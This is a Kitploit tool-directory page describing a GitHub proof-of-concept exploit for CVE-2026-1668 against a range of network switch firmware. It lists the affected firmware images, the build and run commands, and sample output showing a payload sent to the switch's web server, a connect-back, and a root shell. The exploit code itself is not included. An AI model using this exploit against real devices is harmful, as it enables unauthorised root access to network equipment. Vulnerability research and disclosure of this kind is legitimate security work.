Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-1668-poc — Proof-of-concept exploit for CVE-2026-1668. | Kitploit
Tools/GitHubGitHub/tangrs/cve-2026-1668-poc
Embedded Systems SecurityVulnerability AnalysisExploitationPenetration TestingHardware & IoT SecurityLearning & EducationFirmware AnalysisBinary Exploitation
GitHubtangrs/cve-2026-1668-poc

cve-2026-1668-poc

Proof-of-concept exploit for CVE-2026-1668.

View Repository
245 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

Proof-of-concept exploit for CVE-2026-1668

This is a proof-of-concept exploit for CVE-2026-1668. It is intended purely for educational purposes only. Please do not attempt to exploit systems that you do not own or do not have explicit permission to exploit.

This proof-of-concept was developed against a firmware image with the following SHA256 hash: 4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544.

Names of firmwares known to match that hash (non-exhaustive):

  • SG2005P-PDv1_en_1.0.16_[20251031-rel72837]_up.bin
  • SG2008Pv3_en_3.20.14_[20251031-rel72837]_up.bin
  • SG2008v4_en_4.20.14_[20251031-rel72837]_up.bin
  • SG2016Pv1_en_1.20.14_[20251031-rel72837]_up.bin
  • SG2210MPv4_en_4.20.15_[20251031-rel72837]_up.bin
  • SG2210MPv5_en_5.0.12_[20251031-rel72837]_up.bin
  • SG2210Pv5_en_5.20.15_[20251031-rel72837]_up.bin
  • SG2218Pv1_en_1.20.14_[20251031-rel72837]_up.bin
  • SG2218Pv2_en_2.0.11_[20251031-rel72837]_up.bin
  • SG2218v1_en_1.20.14_[20251031-rel72837]_up.bin
  • SG2428LPv1_en_1.0.12_[20251031-rel72837]_up.bin
  • SG2428Pv5_en_5.20.17_[20251031-rel72837]_up.bin
  • SG2428Pv5_en_5.30.13_[20251031-rel72837]_up.bin
  • SG3210v3_en_3.20.14_[20251031-rel72837]_up.bin
  • SL2428Pv6_en_6.20.15_[20251031-rel72837]_up.bin
  • TL-SG2428Pv4_en_4.0.23_[20251031-rel72837]_up.bin

Earlier firmware versions are likely also vulnerable, but may require minor changes to the exploit payload.

Explanation of how the payload works can be found in this blog post.

Building

A MIPS Linux GCC toolchain is required to build the payload. On Ubuntu 24.04, one can be installed with sudo apt install gcc-mips-linux-gnu.

root@kitploit:~
$ make

Running

This exploit must be run before the HTTP server has served its first request (i.e on a fresh boot).

root@kitploit:~
$ ./run.sh

The script should drop you to a root shell. If not, the exploit has failed.

root@kitploit:~
[*] Sending payload
HTTP/1.1 200 OK
Server: Web Switch
Connection: close
Content-Type: application/json

{"data":{"mByCtrl":0,"includePrivacyPolicy":0,"includeAutoCheck":1,"includeSshController":1},"errorcode":0,"success":true,"timeout":false}
[*] Connecting back to get a shell
/bin/sh: can't access tty; job control turned off
/etc # 
Download Tool